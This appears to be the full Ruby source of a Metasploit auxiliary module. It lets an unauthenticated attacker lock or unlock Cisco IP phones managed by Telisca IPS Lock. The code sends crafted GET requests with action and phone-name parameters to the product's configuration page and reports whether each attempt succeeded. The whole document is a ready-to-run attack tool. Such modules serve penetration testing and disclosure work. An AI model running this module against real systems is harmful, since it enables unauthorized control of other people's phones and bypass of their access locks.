Telisca IPS Lock Cisco IP Phone Control

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Telisca IPS Lock Cisco IP Phone Control',  
'Description' => %q{  
This module allows an unauthenticated attacker to exercise the  
"Lock" and "Unlock" functionality of Telisca IPS Lock for Cisco IP  
Phones. This module should be run in the VoIP VLAN, and requires  
knowledge of the target phone's name (for example, SEP002497AB1D4B).  
  
Set ACTION to either LOCK or UNLOCK. UNLOCK is the default.  
},  
'References' =>  
[  
# Publicly disclosed via Metasploit PR  
'URL', 'https://github.com/rapid7/metasploit-framework/pull/6470'  
],  
'Author' =>  
[  
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',  
'zirsalem'  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2015-12-17',  
'Actions' =>  
[  
['LOCK', 'Description' => 'To lock a phone'],  
['UNLOCK', 'Description' => 'To unlock a phone']  
],  
'DefaultAction' => 'UNLOCK'  
))  
  
register_options(  
[  
OptAddress.new('RHOST', [true, 'The IPS Lock IP Address']),  
OptString.new('PHONENAME', [true, 'The name of the target phone'])  
])  
  
end  
  
def print_status(msg='')  
super("#{peer} - #{msg}")  
end  
  
def print_good(msg='')  
super("#{peer} - #{msg}")  
end  
  
def print_error(msg='')  
super("#{peer} - #{msg}")  
end  
  
# Returns the status of the listening port.  
#  
# @return [Boolean] TrueClass if port open, otherwise FalseClass.  
def port_open?  
begin  
res = send_request_raw({'method' => 'GET', 'uri' => '/'})  
return true if res  
rescue ::Rex::ConnectionRefused  
vprint_status("Connection refused")  
rescue ::Rex::ConnectionError  
vprint_error("Connection failed")  
rescue ::OpenSSL::SSL::SSLError  
vprint_error("SSL/TLS connection error")  
end  
  
false  
end  
  
# Locks a device.  
#  
# @param phone_name [String] Name of the phone used for the pn parameter.  
#  
# @return [void]  
def lock(phone_name)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/IPSPCFG/user/Default.aspx',  
'headers' => {  
'Connection' => 'keep-alive',  
'Accept-Language' => 'en-US,en;q=0.5'  
},  
'vars_get' => {  
'action' => 'DO',  
'tg' => 'L',  
'pn' => phone_name,  
'dp' => '',  
'gr' => '',  
'gl' => ''  
}  
})  
  
if res && res.code == 200  
if res.body.include?('Unlock') || res.body.include?('U7LCK')  
print_good("The device #{phone_name} is already locked")  
elsif res.body.include?('unlocked') || res.body.include?('Locking') || res.body.include?('QUIT')  
print_good("Device #{phone_name} successfully locked")  
end  
elsif res  
print_error("Unexpected response #{res.code}")  
else  
print_error('The connection timed out while trying to lock.')  
end  
end  
  
  
# Unlocks a phone.  
#  
# @param phone_name [String] Name of the phone used for the pn parameter.  
#  
# @return [void]  
def unlock(phone_name)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/IPSPCFG/user/Default.aspx',  
'headers' => {  
'Connection' => 'keep-alive',  
'Accept-Language' => 'en-US,en;q=0.5'  
},  
'vars_get' => {  
'action' => 'U7LCK',  
'pn' => phone_name,  
'dp' => ''  
}  
})  
  
if res && res.code == 200  
if res.body.include?('Unlock') || res.body.include?('U7LCK')  
print_good("The device #{phone_name} is already locked")  
elsif res.body.include?('unlocked') || res.body.include?('QUIT')  
print_good("The device #{phone_name} successfully unlocked")  
end  
elsif res  
print_error("Unexpected response #{res.code}")  
else  
print_error('The connection timed out while trying to unlock')  
end  
end  
  
  
def run  
unless port_open?  
print_error('The web server is unreachable!')  
return  
end  
  
phone_name = datastore['PHONENAME']  
case action.name  
when 'LOCK'  
lock(phone_name)  
when 'UNLOCK'  
unlock(phone_name)  
end  
end  
end  
`